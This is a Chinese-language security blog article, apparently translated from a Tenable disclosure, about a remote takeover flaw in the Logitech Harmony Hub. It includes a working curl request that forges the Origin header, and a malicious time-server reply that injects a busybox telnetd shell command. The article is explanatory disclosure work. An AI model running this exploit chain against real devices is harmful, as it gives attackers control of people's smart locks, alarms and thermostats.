![bf68cc2e6144098a820dc8f938dd1c25.png](https://i-blog.csdnimg.cn/blog_migrate/ea345c2eb00aa99d13d6c5920d4d2c7d.png)
介绍
Logitech的Harmony Hub是一款很受欢迎的智能家居设备,可与家中所有的联网设备进行通信和控制。目前在全球已有数百万用户使用,支持来自6000个品牌的27万台设备。Tenable最近发布了这个产品的关键的、未公开的漏洞,允许攻击者在未授权的情况下远程控制设备。
Hub因其脚本编写和自动化功能而深受好评。随着智能家居越来越主流,一个功能强大的控制器显得愈发重要。亚马逊(Alexa)、谷歌(Home)、苹果(Apple)和罗技(Harmony)都拥有类似产品。而罗技的Harmony也是一个不错的选择。
但是,智能家居的集中控制也吸引了攻击者的目光。如果能够攻下这个控制点,就可以非法访问连接到集控制器的每个设备。智能锁、电视、恒温器,甚至智能冰箱都可能被远程攻击者所控制。
![cd6316fc1f3ef8352787d6857c747853.png](https://i-blog.csdnimg.cn/blog_migrate/24529f1a6713f37d24c09e93b977cea5.jpeg)
探索
这个Hub开放了3个端口,运行XMPP、WebSocket和一个定制的Web API服务。这些服务都通过Lua语言实现。
![0935a536a9cf73e62905a682af3d7bd0.png](https://i-blog.csdnimg.cn/blog_migrate/bfa7b5bbe8ddb156601c9bc8495e8006.jpeg)
你可以在设备更新期间获取固件。里面包含一个Linux内核和一个带有应用代码的squash文件系统。应用代码是一些被编译的Lua文件,用于实现Hub的服务和功能。你可以使用luadec github project的补丁版本对其进行反编译。
![e48518966bd49dba27e8f7c817ab6e2e.png](https://i-blog.csdnimg.cn/blog_migrate/1927be9fa30ef3bb3bd82eda90a58987.jpeg)
这些lua文件实现了Harmony Hub的所有运行逻辑和智能家居的相关功能。Harmony Hub使用消息传递系统,当用户使用app控制Hub时,Logitech的远程服务器可命令Hub开始工作。当然,有一种保护机制来确保只有受信任的服务器才能发出请求。然而,保护机制存在缺陷,任何远程攻击者都可绕过安全措施。
![4b2148b314640e8bad1e3740d156781e.png](https://i-blog.csdnimg.cn/blog_migrate/ab5401b81ea244eb1591a1e1e4d5bfbe.jpeg)
漏洞?
Hub会处理来自远程主机的所有网络请求,当然,在处理请求之前会验证来源。理论上来说这没有什么问题;但是,攻击者可以很容易地在HTTP请求头中加一行代码来伪造请求源头。此时,任何远程攻击者都可轻易绕过安全检查,驱使Hub做任何事。
![ca334dd22c3bac4918272f398f32cc9b.png](https://i-blog.csdnimg.cn/blog_migrate/3cd6d1d606be766d41aa60b5b91d4ebd.jpeg)
这个Hub有一个时钟同步功能。主要靠接受来自可信任服务器的输入,再在Linux的shell上执行命令来同步。注意,这个输入并不会进行安全检查。
![5f77e404fce0fee590d883ec8c966669.png](https://i-blog.csdnimg.cn/blog_migrate/6447f2aefeaf4c5a8698e5854d056f23.jpeg)
利用
到目前为止,我们有两件事要做:
- 利用时钟同步功能注入命令
- 绕过源头验证
为此,我们先执行一个HTTP请求,将时钟同步服务器设置为受攻击者控制的服务器。然后Hub将请求使用新设置的服务器重新同步时钟,这时再注入命令。
curl -d "{'cmd':'setup.account?provision',
'params':
{
'provisionInfo':
{
'mode':3,
'authToken':'1',
'discoveryServer':'http://10.0.0.10'
}
}
}"
-H "Origin: .myharmony.com"
-H "Content-Type: application/json"
http://10.0.0.176:8088
源到点设备到攻击者控制的服务器的伪造HTTP请求
{"DiscoveryUrls":
[{
"Identifier":"TimeServer/current",
"Address":"http://10.0.0.10/TimeServer/ current"
}]
}
时钟同步服务器的接收到的设备请求
{"utc":"0";/bin/busybox telnetd -l/bin/sh -p9999;date -s "0"}
攻击者控制的时钟同步服务器的响应
实践
在设备被完全控制后,远程攻击者可以访问连接到Hub上的所有智能设备。攻击者可以修改Nest恒温器的参数,关闭家庭安全设备的传感器,打开车门门闩,如下面所展示的一样。
![11908af6e75d671cf109b04547db5a21.png](https://i-blog.csdnimg.cn/blog_migrate/86068be1c937688b1c765a71ee0e5db9.jpeg)
https://cdn-images-1.medium.com/max/800/0*cPsJsU09oa_G_NFJ
Hub式硬件将始终是攻击者的一个主要目标,因为攻破一个产品就相当能控制一堆产品连接多个设备。因此,这些Hub式设备应拥有比其他设备更高的安全标准,加大攻击难度。
本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场